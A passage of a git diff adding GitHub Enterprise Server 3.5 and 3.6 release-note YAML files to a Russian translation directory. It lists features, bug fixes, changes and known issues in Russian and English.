3.5.4. For more information, see "[Viewing and updating Dependabot alerts](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-and-updating-closed-alerts)." + - The ability to always suggest updates from the base branch to a pull request's HEAD was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)." + - The light high contrast theme was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings)." + changes: + - '`pre_receive_hook.rejected_push` events were not displayed in the enterprise audit log.' + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - Actions services need to be restarted after restoring an appliance from a backup taken on a different host. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' \ No newline at end of file diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-5/5.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-5/5.yml new file mode 100644 index 000000000000..340d5d0a2410 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-5/5.yml @@ -0,0 +1,27 @@ +date: '2022-08-30' +sections: + bugs: + - 'После разблокировки репозитория для временного доступа администратор сайта не мог управлять параметрами продуктов безопасности в репозитории.' + - 'Дубликаты административных ключей SSH могли появляться как в консоли управления, так и в файле "/home/admin/.ssh/authorized_keys".' + - 'Страница администрирования сайта для отдельных пользователей по адресу http(s)://HOSTNAME/stafftools/users/USERNAME/admin содержала функции, не предназначенные для GitHub Enterprise Server.' + - 'В некоторых случаях выполнение ghe-cluster-config-apply может реплицировать пустую конфигурацию на существующие узлы в кластере.' + - 'В некоторых случаях выполнения конфигурации, запущенные с помощью ghe-config-apply, не завершались или возвращали ошибку "Несоответствие количества контейнеров".' + - 'После обновления самозаверяющего сертификата TLS на экземпляре GitHub Enterprise Server элементы пользовательского интерфейса на некоторых страницах веб-интерфейса не отображались.' + - 'Панель администратора сайта в верхней части веб-интерфейса содержала недействительную ссылку на SHA для текущей версии приложения.' + - 'В некоторых случаях фоновые задачи могли останавливаться из-за того, что параллельно использовалась библиотека, несмотря на то, что она не является потокобезопасной.' + - "Оповещения о сканировании секретов для клиентов GitHub Advanced Security отсутствовали в веб-интерфейсе и REST API, если администратор сайта не выполнил обновление непосредственно до GitHub Enterprise Server\_3.4. Теперь оповещения видны." + - 'Когда пользователь создавал вилку репозитория для формирования организации, длинный список организаций не отображался должным образом.' + changes: + - 'Создание пакетов поддержки происходит быстрее благодаря параллельной очистке журналов. Дополнительные сведения о пакетах поддержки см. в статье [Предоставление данных поддержке GitHub](/support/contacting-github-support/providing-data-to-github-support).' + - 'API, которые содержат маршрут organization (или org), теперь принимают либо динамический идентификатор, либо идентификатор организации. Ранее API принимали только динамические идентификаторы, из-за чего заголовки "Link" для конечных точек GitHub Advanced Security были недоступны. Дополнительные сведения см. в статье [Организации] (https://docs.github.com/rest/orgs/orgs) в документации REST API.' + - 'Журнал аудита предприятия теперь включает больше пользовательских событий, таких как project.create. REST API также возвращает дополнительные события, созданные пользователем, такие как repo.create. Дополнительные сведения см. в статье [Доступ к журналу аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for -your-enterprise) и разделе [Использование API журнала аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit- log-api-for-your-enterprise#querying-the-audit-log-rest-api).' + - 'Иногда реплики кэша могли отклонять некоторые операции Git над недавно обновленными репозиториями. Дополнительные сведения о кэшировании репозитория см. в статье [Сведения о кэшировании репозитория](/admin/enterprise-management/caching-repositories/about-repository-caching).' + known_issues: + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - "Когда в GitHub\_Connect включен параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com), результаты поиска на GitHub.com не включают в себя проблемы в частных и внутренних репозиториях." + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Службы Actions необходимо перезапустить после восстановления устройства из резервной копии, созданной на другом узле.' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-6/0-rc1.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-6/0-rc1.yml new file mode 100644 index 000000000000..d4c97c52671b --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-6/0-rc1.yml @@ -0,0 +1,298 @@ +date: '2022-07-26' +release_candidate: true +deprecated: true +intro: | + {% note %} + + **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend that you only run release candidates in a test environment. + + {% endnote %} + + For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." +sections: + features: + - heading: Infrastructure + notes: + # https://github.com/github/releases/issues/2002 + - | + Repository caching is generally available. Repository caching increases Git read performance for distributed developers, providing the data locality and convenience of geo-replication without impact on push workflows. With the general availability release, GitHub Enterprise Server caches both Git and Git LFS data. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)." + + - heading: Instance security + notes: + # https://github.com/github/releases/issues/1569 + - | + GitHub has changed the supported algorithms and hash functions for all SSH connections to GitHub Enterprise Server, disabled the unencrypted and unauthenticated Git protocol, and optionally allowed the advertisement of an Ed25519 host key. For more information, see the [GitHub Blog](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server/) and the following articles. + + - "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)" + - "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)" + - "[Configuring host keys for your instance](/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance)" + + # https://github.com/github/releases/issues/2341 + - | + You can require TLS encryption for incoming SMTP connections to your instance. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)." + + - heading: Audit logs + notes: + # https://github.com/github/releases/issues/1438 + - | + You can stream audit log and Git events for your instance to Amazon S3, Azure Blob Storage, Azure Event Hubs, Google Cloud Storage, or Splunk. Audit log streaming is in public beta and subject to change. For more information, see "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)." + + - heading: GitHub Connect + notes: + # https://github.com/github/releases/issues/2306 + - | + Server Statistics is now generally available. Server Statistics collects aggregate usage data from your GitHub Enterprise Server instance, which you can use to better anticipate the needs of your organization, understand how your team works, and show the value you get from GitHub Enterprise Server. For more information, see "[About Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)." + + - heading: Administrator experience + notes: + # https://github.com/github/releases/issues/2351 + - | + Enterprise owners can join organizations on the instance as a member or owner from the enterprise account's **Organizations** page. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)." + + # https://github.com/github/releases/issues/2221 + - | + Enterprise owners can allow users to dismiss the configured global announcement banner. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." + + - heading: GitHub Advanced Security + notes: + # https://github.com/github/releases/issues/2321 + - | + Users on an instance with a GitHub Advanced Security license can opt to receive a webhook event that triggers when an organization owner or repository administrator enables or disables a code security or analysis feature. For more information, see the following documentation. + + - "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#security_and_analysis)" in the webhook documentation + - "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)" + - "[Managing security and analysis features for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" + + # https://github.com/github/releases/issues/2191 + - | + Users on an instance with a GitHub Advanced Security license can optionally add a comment when dismissing a code scanning alert in the web UI or via the REST API. Dismissal comments appear in the event timeline. Users can also add or retrieve a dismissal comment via the REST API. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests#dismissing-an-alert-on-your-pull-request)" and "[Code Scanning](/rest/code-scanning#update-a-code-scanning-alert)" in the REST API documentation. + + # https://github.com/github/releases/issues/2228 + - | + On instances with a GitHub Advanced Security license, secret scanning prevents the leak of secrets in the web editor. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-web-ui)." + + # https://github.com/github/releases/issues/2318 + # https://github.com/github/releases/issues/2277 + - | + Enterprise owners and users on an instance with a GitHub Advanced Security license can view secret scanning alerts and bypasses of secret scanning's push protection in the enterprise and organization audit logs, and via the REST API. For more information, see the following documentation. + + - "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)" + - "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#secret_scanning_push_protection-category-actions)" + - "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#secret_scanning_push_protection-category-actions)" + - "[Secret Scanning](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)" in the REST API documentation + + # https://github.com/github/releases/issues/2230 + # https://github.com/github/releases/issues/2317 + - | + Enterprise owners on an instance with a GitHub Advanced Security license can perform dry runs of custom secret scanning patterns for the enterprise, and all users can perform dry runs when editing a pattern. Dry runs allow you to understand a pattern's impact across the entire instance and hone the pattern before publication and generation of alerts. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + + # https://github.com/github/releases/issues/2236 + - | + Users on an instance with a GitHub Advanced Security license can use `sort` and `direction` parameters in the REST API when retrieving secret scanning alerts, and sort based on the alert’s `created` or `updated` fields. The new parameters are available for the entire instance, or for individual organizations or repositories. For more information, see the following documentation. + + - "[List secret scanning alerts for an enterprise](/rest/secret-scanning#list-secret-scanning-alerts-for-an-enterprise)" + - "[List secret scanning alerts for an organization](/rest/secret-scanning#list-secret-scanning-alerts-for-an-organization)" + - "[List secret scanning alerts for a repository](/rest/secret-scanning#list-secret-scanning-alerts-for-a-repository)" + - "[Secret Scanning](/rest/secret-scanning)" in the REST API documentation + + # https://github.com/github/releases/issues/2263 + - | + The contents of the `github/codeql-go` repository have moved to the `github/codeql` repository, to live alongside similar libraries for all other programming languages supported by CodeQL. The open-source CodeQL queries, libraries, and extractor for analyzing codebases written in the Go programming language with GitHub's CodeQL code analysis tools can now be found in the new location. For more information, including guidance on migrating your existing workflows, see [github/codeql-go#741](https://github.com/github/codeql-go/issues/741). + + - heading: Dependabot + notes: + # https://github.com/github/releases/issues/2256 + - | + Enterprise owners on instances with a GitHub Advanced Security license can see an overview of Dependabot alerts for the entire instance, including a repository-centric view of application security risks, and an alert-centric view of all secret scanning and Dependabot alerts. The views are in beta and subject to change, and alert-centric views for code scanning are planned for a future release of GitHub Enterprise Server. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview#viewing-the-security-overview-for-an-enterprise)." + + # https://github.com/github/releases/issues/2160 + - | + Users can select multiple Dependabot alerts, then dismiss or reopen or dismiss the alerts. For example, from the **Closed alerts** tab, you can select multiple alerts that have been previously dismissed, and then reopen them all at once. For more information, see "[About Dependabot alerts](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)." + + # https://github.com/github/releases/issues/2232 + - | + Dependabot updates `@types` dependencies alongside corresponding packages in TypeScript projects. Before this change, users would see separate pull requests for a package and the corresponding `@types` package. This feature is automatically enabled for repositories containing `@types` packages in the project's `devDependencies` within the _package.json_ file. You can disable this behavior by setting the [`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore) field in your `dependabot.yml` file to `@types/*`. For more information, see "[About Dependabot version updates](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates)" and "[Configuration options for the _dependabot.yml_ file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)." + + - heading: Code security + notes: + # https://github.com/github/releases/issues/2098 + # https://github.com/github/releases/issues/2282 + - | + GitHub Actions can enforce dependency reviews on users' pull requests by scanning for dependencies, and will warn users about associated security vulnerabilities. The `dependency-review-action` action is supported by a new API endpoint that diffs the dependencies between any two revisions. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement)." + + # https://github.com/github/releases/issues/2243 + - | + The dependency graph detects _Cargo.toml_ and _Cargo.lock_ files for Rust. These files will be displayed in the **Dependency graph** section of the **Insights** tab. Users will receive Dependabot alerts and updates for vulnerabilities associated with their Rust dependencies. Package metadata, including mapping packages to repositories, will be added at a later date. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + + # https://github.com/github/releases/issues/1766 + - | + If GitHub Connect is enabled for your instance, users can contribute an improvement to a security advisory in the [GitHub Advisory Database](https://github.com/advisories). To contribute, click **Suggest improvements for this vulnerability** while viewing an advisory's details. For more information, see the following articles. + + - "[Managing GitHub Connect](/admin/configuration/configuring-github-connect/managing-github-connect)" + - "[Browsing security vulnerabilities in the GitHub Advisory Database](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" in the GitHub Enterprise Cloud documentation + - "[About GitHub Security Advisories for repositories](/enterprise-cloud@latest/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)" in the GitHub Enterprise Cloud documentation + - "[Editing security advisories in the GitHub Advisory Database](/enterprise-cloud@latest/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)" in the GitHub Enterprise Cloud documentation + + - heading: GitHub Actions + notes: + # https://github.com/github/releases/issues/2159 + - | + Within a workflow that calls a reusable workflow, users can pass the secrets to the reusable workflow with `secrets: inherit`. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-inputs-and-secrets-in-a-reusable-workflow)." + + # https://github.com/github/releases/issues/2102 + - | + When using GitHub Actions, to reduce the risk of merging a change that was not reviewed by another person into a protected branch, enterprise owners and repository administrators can prevent Actions from creating pull requests. Organization owners could previously enable this restriction. For more information, see the following articles. + + - "[Enforcing policies for GitHub Actions in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)" + - "[Disabling or limiting GitHub Actions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests)" + - "[Managing GitHub Actions settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)" + + # https://github.com/github/releases/issues/2155 + - | + Users can write a single workflow triggered by `workflow_dispatch` and `workflow_call`, and use the `inputs` context to access input values. Previously, `workflow_dispatch` inputs were in the event payload, which increased difficulty for workflow authors who wanted to write one workflow that was both reusable and manually triggered. For workflows triggered by `workflow_dispatch`, inputs are still available in the `github.event.inputs` context to maintain compatibility. For more information, see "[Contexts](/actions/learn-github-actions/contexts#inputs-context)." + + # https://github.com/github/releases/issues/2103 + - | + To summarize the result of a job, users can generate Markdown and publish the contents as a job summary. For example, after running tests with GitHub Actions, a summary can provide an overview of passed, failed, or skipped tests, potentially reducing the need to review the full log output. For more information, see "[Workflow commands for GitHub Actions](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary)." + + # https://github.com/github/releases/issues/2161 + - | + To more easily diagnose job execution failures during a workflow re-run, users can enable debug logging, which outputs information about a job's execution and environment. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)" and "[Using workflow run logs](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." + + # https://github.com/github/releases/issues/2140 + - | + If you manage self-hosted runners for GitHub Actions, you can ensure a consistent state on the runner itself before and after a workflow run by defining scripts to execute. By using scripts, you no longer need to require that users manually incorporate these steps into workflows. Pre- and post-job scripts are in beta and subject to change. For more information, see "[Running scripts before or after a job](/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job)." + + - heading: GitHub Packages + notes: + # https://github.com/github/releases/issues/2334 + - | + Enterprise owners can migrate container images from the GitHub Docker registry to the GitHub Container registry. The Container registry provides the following benefits. + + - Improves the sharing of containers within an organization + - Allows the application of granular access permissions + - Permits the anonymous sharing of public container images + - Implements OCI standards for hosting Docker images + + The Container registry is in beta and subject to change. For more information, see "[Migrating your enterprise to the Container registry from the Docker registry](/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry)." + + - heading: Community experience + notes: + # https://github.com/github/releases/issues/2113 + - | + GitHub Discussions is available for GitHub Enterprise Server. GitHub Discussions provides a central gathering space to ask questions, share ideas, and build connections. For more information, see "[GitHub Discussions](/discussions)." + + # https://github.com/github/releases/issues/2259 + - | + Enterprise owners can configure a policy to control whether people's usernames or full names are displayed within internal or public repositories. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-display-of-member-names-in-your-repositories)." + + - heading: Organizations + notes: + # https://github.com/github/releases/issues/2019 + - | + Users can create member-only READMEs for an organization. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)." + + # https://github.com/github/releases/issues/2234 + - | + Organization owners can pin a repository to an organization's profile directly from the repository via the new **Pin repository** dropdown. Pinned public repositories appear to all users of your instance, while public, private, and internal repositories are only visible to organization members. + + - heading: Repositories + notes: + # https://github.com/github/releases/issues/2214 + - | + While creating a fork, users can customize the fork's name. For more information, see "[Fork a repo](/get-started/quickstart/fork-a-repo)." + + # https://github.com/github/releases/issues/1973 + - | + Users can block creation of branches that match a configured name pattern with the **Restrict pushes that create matching branches** branch protection rule. For example, if a repository's default branch changes from `master` to `main`, a repository administrator can prevent any subsequent creation or push of the `master` branch. For more information, see + "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#restrict-who-can-push-to-matching-branches)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule)." + + # https://github.com/github/releases/issues/2179 + - | + Users can create a branch directly from a repository's **Branches** page by clicking the **New branch**. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)." + + # https://github.com/github/releases/issues/2220 + - | + Users can delete a branch that's associated with an open pull request. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)." + + # https://github.com/github/releases/issues/2118 + - | + Repositories with multiple licenses display all of the licenses in the "About" sidebar on the {% octicon "code" aria-label="The code icon" %} **Code** tab. For more information, see "[Licensing a repository](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository)." + + # https://github.com/github/releases/issues/2233 + - When a user renames or moves a file to a new directory, if at least half of the file's contents are identical, the commit history indicates that the file was renamed, similar to `git log --follow`. For more information, see the [GitHub Blog](https://github.blog/changelog/2022-06-06-view-commit-history-across-file-renames-and-moves/). + + # https://github.com/github/releases/issues/2093 + - | + Users can require a successful deployment of a branch before anyone can merge the pull request associated with the branch. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-deployments-to-succeed-before-merging)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + + # https://github.com/github/releases/issues/2073 + - | + Enterprise owners can prevent organization owners from inviting collaborators to repositories on the instance. For more information, see "[Enforcing a policy for inviting collaborators to repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-collaborators-to-repositories)." + + # https://github.com/github/releases/issues/2173 + - | + Users can grant exceptions to GitHub Apps for any branch protection rule that supports exceptions. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + + - heading: Commits + notes: + # https://github.com/github/releases/issues/2306 + - | + For public GPG signing keys that are expired or revoked, GitHub Enterprise Server verifies Git commit signatures and show commits as verified if the user made the commit while the key was still valid. Users can also upload expired or revoked GPG keys. For more information, see "[About commit signature verification](/authentication/managing-commit-signature-verification/about-commit-signature-verification)." + + # https://github.com/github/releases/issues/1977 + - | + To affirm that a commit complies with the rules and licensing governing a repository, organization owners and repository administrators can now require developers to sign off on commits made through the web interface. For more information, see "[Managing the commit signoff policy for your organization](/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization)" and "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)." + + - heading: Pull requests + notes: + # https://github.com/github/releases/issues/2261 + - | + Using the file tree located in the **Files changed** tab of a pull request, users can navigate modified files, understand the size and scope of changes, and focus reviews. The file tree appears if a pull request modifies at least two files, and the browser window is sufficiently wide. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" and "[Filtering files in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)." + + # https://github.com/github/releases/issues/2167 + - | + Users can default to using pull requests titles as the commit message for all squash merges. For more information, see "[Configuring commit squashing for pull requests](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)." + + - heading: Releases + notes: + # https://github.com/github/releases/issues/2281 + - | + When viewing the details for a particular release, users can see the creation date for each release asset. For more information, see "[Viewing your repository's releases and tags](/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)." + + # https://github.com/github/releases/issues/2279 + - While creating a release with automatically generated release notes, users can see the tag identified as the previous release, then choose to select a different tag to specify as the previous release. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)." + + - heading: Markdown + notes: + # https://github.com/github/releases/issues/2260 + - | + Editing Markdown in the web interface has been improved. + + - After a user selects text and pastes a URL, the selected text will become a Markdown link to the pasted URL. + - When a user pastes spreadsheet cells or HTML tables, the resulting text will render as a table. + - When a user copies text containing links, the pasted text will include the link as a Markdown link. + + For more information, see "[Basic writing and formatting syntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#links)." + + # https://github.com/github/releases/issues/2258 + - | + When editing a Markdown file in the web interface, clicking the **Preview** tab will automatically scroll to the place in the preview that you were editing. The scroll location is based on the position of your cursor before you clicked the **Preview** tab. + + changes: + - Interactive elements in the web interface such as links and buttons show a visible outline when focused with a keyboard, to help users find the current position on a page. In addition, when focused, form fields have a higher contrast outline. + - If a user refreshes the page while creating a new issue or pull request, the assignees, reviewers, labels and projects will all be preserved. + + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - Actions services need to be restarted after restoring an instance from a backup taken on a different host. + - In a repository's settings, enabling the option to allow users with read access to create discussions does not enable this functionality. + - In some cases, users cannot convert existing issues to discussions. + - Custom patterns for secret scanning have `.*` as an end delimiter, specifically in the "After secret" field. This delimiter causes inconsistencies in scans for secrets across repositories, and you may notice gaps in a repository's history where no scans completed. Incremental scans may also be impacted. To prevent issues with scans, modify the end of the pattern to remove the `.*` delimiter. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' \ No newline at end of file diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-6/1.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-6/1.yml new file mode 100644 index 000000000000..efb836eeab73 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-6/1.yml @@ -0,0 +1,33 @@ +date: '2022-08-30' +sections: + bugs: + - 'После разблокировки репозитория для временного доступа администратор сайта не мог управлять параметрами продуктов безопасности в репозитории.' + - 'Дубликаты административных ключей SSH могли появляться как в консоли управления, так и в файле "/home/admin/.ssh/authorized_keys".' + - 'Страница администрирования сайта для отдельных пользователей по адресу http(s)://HOSTNAME/stafftools/users/USERNAME/admin содержала функции, не предназначенные для GitHub Enterprise Server.' + - 'В некоторых случаях выполнение ghe-cluster-config-apply может реплицировать пустую конфигурацию на существующие узлы в кластере.' + - 'В некоторых случаях выполнения конфигурации, запущенные с помощью ghe-config-apply, не завершались или возвращали ошибку "Несоответствие количества контейнеров".' + - 'После обновления самозаверяющего сертификата TLS на экземпляре GitHub Enterprise Server элементы пользовательского интерфейса на некоторых страницах веб-интерфейса не отображались.' + - 'В некоторых случаях фоновые задачи могли останавливаться из-за того, что параллельно использовалась библиотека, несмотря на то, что она не является потокобезопасной.' + - 'Панель администратора сайта в верхней части веб-интерфейса содержала недействительную ссылку на SHA для текущей версии приложения.' + - 'Владельцам организаций не удалось задать уровень доступа, необходимый для создания обсуждений.' + - 'Пользователи обсуждений ошибочно перенаправлялись к руководствам сообщества для GitHub.com.' + - 'В некоторых случаях пользователям предоставлялось неверное указание проверить свою электронную почту перед созданием обсуждения.' + - "Оповещения о сканировании секретов для клиентов GitHub Advanced Security отсутствовали в веб-интерфейсе и REST API, если администратор сайта не выполнил обновление непосредственно до GitHub Enterprise Server\_3.4. Теперь оповещения видны." + changes: + - 'Создание пакетов поддержки происходит быстрее благодаря параллельной очистке журналов. Дополнительные сведения о пакетах поддержки см. в статье [Предоставление данных поддержке GitHub](/support/contacting-github-support/providing-data-to-github-support).' + - 'API, которые содержат маршрут organization (или org), теперь принимают либо динамический идентификатор, либо идентификатор организации. Ранее API принимали только динамические идентификаторы, из-за чего заголовки "Link" для конечных точек GitHub Advanced Security были недоступны. Дополнительные сведения см. в статье [Организации] (https://docs.github.com/rest/orgs/orgs) в документации REST API.' + - 'Журнал аудита предприятия теперь включает больше пользовательских событий, таких как project.create. REST API также возвращает дополнительные события, созданные пользователем, такие как repo.create. Дополнительные сведения см. в статье [Доступ к журналу аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for -your-enterprise) и разделе [Использование API журнала аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit- log-api-for-your-enterprise#querying-the-audit-log-rest-api).' + - 'Иногда реплики кэша могли отклонять некоторые операции Git 